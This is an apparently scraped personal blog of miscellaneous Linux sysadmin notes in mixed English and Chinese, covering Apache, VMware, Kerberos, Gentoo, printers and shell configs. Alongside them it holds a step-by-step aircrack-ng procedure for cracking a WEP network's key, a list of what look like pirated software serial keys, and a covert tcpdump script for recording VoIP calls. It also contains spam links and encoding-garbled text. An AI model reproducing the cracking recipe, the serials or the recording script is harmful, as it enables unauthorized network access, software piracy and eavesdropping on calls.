WordPress API URL for Scirbus
http://blog.3fire.org/xmlrpc.php
http://blog.3fire.org/xmlrpc.php
After installed apache-asp-perl, need to patch /usr/share/perl5/Apache/ASP.pm
The lines 65-71:
if($ENV{MOD_PERL}) {
$ModPerl2 = ($mod_perl::VERSION >= 1.99);
if($ModPerl2) {
eval “use Apache::ASP::ApacheCommon ();”;
die($@) if $@;
}
}
become
if($ENV{MOD_PERL}) {
$ModPerl2 = ($mod_perl::VERSION >= 1.99);
my $ver = $mod_perl::VERSION;
if ($ver eq “”) { $ver = $ENV{MOD_PERL_API_VERSION}; }
$ModPerl2 = ($ver >= 1.99);
if($ModPerl2) {
eval “use Apache::ASP::ApacheCommon ();”;
die($@) if $@;
}
}
It should be a good opportunity.
产品的功能上,很多冲突的、可加可不加的、锦上添花功能,都不要放到基本功能里面,一个是给自己制造困境,另一个,这些功能都可以作为以后和别人谈合作定制开发收费的砝码。
什么样的模式应该是现在的努力目标
1、自己干点小生意——不好找到合适的
2、big idea, big money——等灵感吧
3、做代理,真的可行么?不光需要技术,钱、关系也是需要大把的,这个我没有。
其实还是那个题,怎么样解决鸡和蛋蛋和鸡的问题。
______________________________________________________________
比如做众多山寨货之一,不知到是否现实,但总之成了也会很辛苦。苹果的模式(技术、创意优先)——中国还没人复制出来过。
比如想点idea写些iPhone/Android Apps
一时也想不明白,倒是有专做iPhone App的公司,前几天刚IPO,不过小儿科,5分钱一股,总共2.7M股,胡扯一样。
Section "Monitor" Identifier "TV" Modeline "1366x768" 72.30 1366 1376 1380 1528 768 769 773 789 -hsync -vsync EndSection Section "Screen" Identifier "Default Screen" Monitor "TV" Defaultdepth 24 SubSection "Display" Depth 24 Modes "1366x768" EndSubSection EndSection
1. airmon-ng start wlan0
2. airodump-ng mon0, pick a target that has good power and has clients associated to it.
3. airodump-ng -c
4. aireplay-ng –fakeauth 0 -e “ESSID” -a AP:MA:CA:DD:RE:SS -h CL:IE:NT:MA:CA:DS mon0
5. aireplay-ng –arpreplay -b AP:MA:CA:DD:RE:SS -h CL:IE:NT:MA:CA:DS mon0
6. at the same time as step 5, airodump-ng -c 11 –bssid AP:MA:CA:DD:RE:SS -w dump
7. aircrack-ng -a 1 -f 10 dump*.cap
run /usr/local/Brother/cupswrapper. Be noted about the path of the filter. /usr/lib vs /usr/libexec
link to a tutorial of installing samba printer.
/etc/pam.d/vmware-authd
#%PAM-1.0
#auth required pam_unix.so shadow nullok
#account required pam_listfile.so item=group sense=allow file=/etc/vmware/vmwaregroup onerr=fail
#account required pam_unix.so
auth sufficient /opt/vmware/server/lib/lib/libpam.so.0/security/pam_unix.so shadow nullok
auth required /opt/vmware/server/lib/lib/libpam.so.0/security/pam_unix_auth.so shadow nullok
account sufficient /opt/vmware/server/lib/lib/libpam.so.0/security/pam_unix.so
account required /opt/vmware/server/lib/lib/libpam.so.0/security/pam_unix_acct.so
1. Can’t connect, check /etc/xinetd.conf. New version has only_from option.
2. username/password incorrect. Edit /etc/pam.d/vmware-authd
auth sufficient /opt/vmware/server/lib/lib/libpam.so.0/security/pam_unix.so shadow nullok
auth required /opt/vmware/server/lib/lib/libpam.so.0/security/pam_unix_auth.so shadow nullok
account sufficient /opt/vmware/server/lib/lib/libpam.so.0/security/pam_unix.so
account required /opt/vmware/server/lib/lib/libpam.so.0/security/pam_unix_acct.so
Loopback address is not able to do kdc resolution, a mapping from
*REAL* ip address to the full qualified hostname is required to get
kadmin and kinit work. Please see below:
======================old /etc/hosts ===========================
127.0.0.1 mykdc.krb.com localhost.localdomain localhost mykdc
======================new /etc/hosts ===========================
10.195.3.99 mykdc.krb.com
127.0.0.1 localhost.localdomain localhost mykdc
92MW0-YHQAY-220CQ-432LM
924P0-YK2AU-2A59P-49LU5
98JYH-YR6AY-2AM96-49PU8
92NY0-YUK2Y-280CP-4HN21
98NMH-YKK0Y-28M3P-4CPVT
MYHVT-WQ49M-QRPVF-V86FC-P3R8Y
http://www.freesoftwaremagazine.com/columns/securing_nfs
/usr/sbin/authconfig*
chown ldap:ldap -R /var/lib/openldap-data
#!/bin/bash mplayer -ss $1 -endpos 60 -ao pcm $2 -ao pcm:file="~temp.wav" faac ~temp.wav -o "${3}.m4r" -w
Xsane设置很简单,需要注意的是xinetd的设置,缺省在/etc/xinetd.conf中是only_from localhost
Put a scrip in your /etc/cron.hourly/
#!/bin/bash
killall -9 tcpdump
tcpdump host VOIP_ADAPTOR -s 350 -w /a/secret/path/`date +%F-%H`.dump &
Then open the dump file with wireshark. Right click on one of the RTP packets (might be shown just as UDP) and select “decode as”. Click RTP. Then menu->statistics->RTP->Stream Analysis…, then Save payload.
You are done, the saved file could be played by mplayer.
具体过程如下
偶cross compile了一个Gentoo for Cavium Octeon,这是个64bit MIPS结果呢死活起不来。折腾了好久,发现/sbin/init都不运行,开始怀疑glibc的问题,先是把/lib/libc.so.6 copy 成/sbin/init,发现kernel能运行这个家伙打印出东西看来glibc好像没问题,接着试了什么/bin/bash拉,/bin/ls拉,都不行
然后开始想别的办法,偶手里有个32bit的WindRiver PNE Linux,起来试图chroot到偶的系统,永远seg fualt,偶想也许是32/64 bit的问题,放弃
偶手里还有一个Cavium的64bit的Linux,起来试图chroot,竟然还是seg fault,偶要处理愤怒了,后来一想可能也有道理,这个版本glibc是2.3,偶的是2.4,chroot应该是不重新load glibc的,busybox的pivot_root还不好使,偶狠了狠心把这个Cavium的Linux花俩小时重新编了一编,这下glibc版本也一样了
结果很令人失望,还是不行。偶不甘心那,于是准备撇开Gentoo的sysvinit先,换上busybox,结果发现如果偶用static link的busybox就能起来,但是起来之后所有的动带链接的东东除了/lib/libc.so.6都seg fault。
偶彻底FT了,折腾来折腾去,也不知道哪根筋触发了偶的灵感,拿LD_LIBRARY_PATH玩了玩,发现偶如果设置了LD_LIBRARY_PATH所有的程序都能运行了,那叫一个高兴,但是仍然很迷惑,偶所有的lib都在/lib64, /usr/lib64里面,为了排出意外偶还copy了一份同样的放到/lib和/usr/lib里面,按理说怎么会找不到呢。百思不得其解
至此已经在公司搞了6、7个小时了,于是回家,准备围绕LD_LIBRARY_PATH继续研究,偶又忘了是怎么研究到ldconfig上了,终于发现,原来偶cross compile的系统下面/etc/ld.so.cache里面空空如也,靠,估计这就是毛病了,等周一上班就能确认了,不过这个东西够恶心,如果偶要是没有一个能用的系统,想生生的就全靠crosscompilebootstrap还听麻烦,需要先用static link busybox起来,进去转一下ldconfig更新cache。
Use xsane, choose number of page, increase count and file type tiff.
#!/bin/bash #echo ${@/%log/tiff} for x in $@ do if [ ${x%.tiff} = $x ] then echo not tiff file exit fi tiff2pdf -p letter -j $x > ${x%tiff}pdf done rm tmp.pdf finished.pdf -rf gs -dBATCH -dNOPAUSE -q -sDEVICE=pdfwrite -sOutputFile=tmp.pdf ${@/%tiff/pdf} pdfopt tmp.pdf finished.pdf rm ${@/%tiff/pdf} tmp.pdf -rf
GLIBC:
Change multilib.eclass line 596 from:
export DEFAULT_ABI=”n32″
to
export DEFAULT_ABI=”n64″
GCC:
Delete toolchain.eclass line 1159, and change line 1158 to:
mips_abi=”–with-abi=64″
http://e.staples-deals.com/staplescoupon/default.asp?a=62%40&e=3193509%D7&c=5941088676467240&g=ldxyqy%E3&t=u%A8&cm
[tex] e^{i \pi} = -1 [/tex]
[tex]\displaystyle \int_{0}^{1}\frac{x^{4}\left( 1-x\right) ^{4}}{1+x^{2}}dx=\frac{22}{7}-\pi[/tex]
Nissan
The Art and Science of C
Programming Abstractions in C:A Second Course in Computer
西安信æ¯èµ„æºç½‘
gs -dBATCH -dNOPAUSE -q -sDEVICE=pdfwrite -sOutputFile=finished.pdf file1.pdf file2.pdf
Unlock DTA-310 from Packet8
Link
Broadvoice register servers
proxy.dca.broadvoice.com 147.135.0.128
proxy.nyc.broadvoice.com 147.135.20.128
proxy.lax.broadvoice.com 147.135.8.128:
You can use the CUPS server via Windows by defining the server queues as network printers. The specific steps for doing this in Windows XP are listed below; the steps in other versions of Windows are similar. You can see the CUPS print queues at http://your.cups.server:631/
--- configure.orig 2005-10-04 00:26:14.140044750 -0400
+++ configure 2005-10-04 00:26:34.325306250 -0400
@@ -7581,7 +7581,7 @@
fi
-if test "$GNU_CC"; then
+if /bin/false; then
echo $ac_n "checking for visibility(hidden) attribute""... $ac_c" 1>&6
echo "configure:7587: checking for visibility(hidden) attribute" >&5
if eval "test "`echo '$''{'ac_cv_visibility_hidden'+set}'`" = set"; then
--- ./config/gcc_hidden.h.orig 2005-10-04 00:32:04.341931000 -0400
+++ ./config/gcc_hidden.h 2005-10-04 00:32:24.479189500 -0400
@@ -1,2 +1,2 @@
-/* Begin all files as hidden visibility */
-#pragma GCC visibility push(hidden)
+/* Begin all files as hidden visibility
+#pragma GCC visibility push(hidden)*/
if test "$DISPLAY" ; then
export PROMPT_COMMAND='echo -ne "\033]30;`echo $PWD | sed -e "s/^.*\(.\{20\}\)$/\1/"`\007\033]31;$PWD\007"'
fi
file /var/tmp/portage/gcc-4.0.2/work/gcc-4.0.2/libjava/configure line 7986, add one line
enable_gtk_cairo=yes
incase gtk_cairo still not working for gcc
PANGOFT2_CFLAGS=`pkg-config --cflags "pangoft2"`
PANGOFT2_LIBS=`pkg-config --libs "pangoft2"`
#!/bin/bash source /etc/profile if [ -n "$COLORTERM" ]&&[ "$COLORTERM"="rxvt-xpm" ] then TITLEBAR='\[\033]0;Rxvt@pty\l \u@\h:\w\007\]' elif [ -n "$KONSOLE_DCOP" ] then TITLEBAR='\[\033]0;Konsole@pty\l \u@\h:\w\007\]' else TITLEBAR='\[\033]0;xterm@pty\l \u@\h:\w\007\]' fi if [ "$TERM" = 'xterm' ]||[ "$TERM" = 'screen' ] then export PS1=$TITLEBAR'\[\033[01;32m\]\u@\h \[\033[01;34m\]\W \$ \[\033[00m\]' fi alias root='ssh $HOSTNAME -l root -X' alias mit='~/.bin/mit.tcl bbs.mit.edu' alias school='ssh -Y chinese.ccs.neu.edu' alias power='ssh ppclinux.pku.edu.cn -p 2000' alias emacs='env LC_CTYPE=C emacs' alias poweroff='/sbin/poweroff' alias reboot='/sbin/reboot' alias ssh='ssh -Y' alias indent='indent -bli0 -i4 -ts4 -cli4 -cbi0' alias v='vim' export LC_CTYPE=zh_CN export HISTFILESIZE=3000 export XMODIFIERS=@im=SCIM export QT_IM_MODULE=SCIM export GTK_IM_MODULE=SCIM export __GL_FSAA_MODE=2
Keep an eye on portage 2.1. It may have this feature then.
map <space> <c -F> map <backspace> <c -B> map ; $ set showmatch set laststatus=2 set smartindent set shiftwidth=4 set softtabstop=4 colorscheme aqua set lbr set ruler set tags+=/usr/src/linux/tags ab #i #include ab #d #define ab #W Wenqiang Song syntax on filetype plugin indent on set backspace=indent,eol,start set showcmd vnoremap p <esc>:let current_reg = @"<cr>gvs<c -R>=current_reg<cr><esc> let g:miniBufExplMapWindowNavVim = 1 let g:miniBufExplMapWindowNavArrows = 1 let g:miniBufExplMapCTabSwitchBuffs = 1 set statusline=%< %f%h%m%r%=%{&ff}\ %l,%c%V\ %P highlight Comment ctermfg=6 </code> </esc></cr></c></cr></esc></c></backspace></c></space>
term xterm-color
defflow off
vbell off
autodetach on
startup_message off
shell -$SHELL
defscrollback 5000
bind k
bind ^k
bind .
bind ^\
bind \
bind ^h
bind h
bind 'K' kill
bind 'I' login on
bind 'O' login off
bind '}' history
bind '}' history
#hardstatus alwaysignore
#hardstatus alwayslastline
# turn sending of screen messages to hardstatus off
hardstatus on
# Set the hardstatus prop on gui terms to set the titlebar/icon title
termcapinfo xterm*|rxvt*|kterm*|Eterm* hs:ts=\E]0;:fs=\007:ds=\E]0;\007
# use this for the hard status string
hardstatus string "[%n%?: %t%?] %h"
Because WordPress asks to change php session mode to users, that causes gallery2 stop working.
Add two line to .htaccess in G2 main dir solves this problem.
php_value session.save_handler "files"
php_value session.save_path /tmp
æ›´æ–°FirefoxåŽï¼Œåº”该编辑å¯åŠ¨è„šæœ¬/usr/bin/firefoxï¼ŒåŠ ä¸Šä¸€å¥ï¼š
export GTK_IM_MODULE=scim
æ¤å¤„scimå°å†™ã€‚
update drupal, edit update.php, turn off $access_check
When update awstats, GeoIP may stop working. Check file /usr/share/webapps/awstats/6.5/hostroot/cgi-bin/plugins/geoip.pm and change GeoIP.dat to absolute path.
FreeNX
1. nxnode, $ENABLE_ROOTLESS_MODE, comment out line 194
Compiler/libc problem
fix_libtool_files.sh might help.
ReiserFS undelete/data recovery HOWTO
USB扫æä»ªé—®é¢˜work around
echo Y > /sys/module/usbcore/parameters/old_scheme_first
Patch QTerm
Change NULL to QCString(“”);
Earn up to 12,000 WorldPerks Miles plus loyalty miles with T-Mobile
insert
< ?php pri_print_browser("Using ", "", true, 'on'); ?>
before
< ?php edit_comment_link('edit','',''); ?>
Google MAP
/*This line is just comment*/ #define NS_FT2_OFFSET(f) (long int)&((nsFreeType2*)0)->f
This is for CodeHighlighter
[code lang="cpp"]
/*This line is just comment*/
#define NS_FT2_OFFSET(f) (long int)&((nsFreeType2*)0)->f
[/code]
line 97 from
[code lang="php"]
[/code]
to
[code lang="php"]
[/code]
emerge kmag mysql-query-browser app-editors/gphpedit mysql-administrator mono
/*This line is just comment*/
#define NS_FT2_OFFSET(f) (long int)&((nsFreeType2*)0)->f
if __name__ == '__main__':
print "Hello Word"
Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!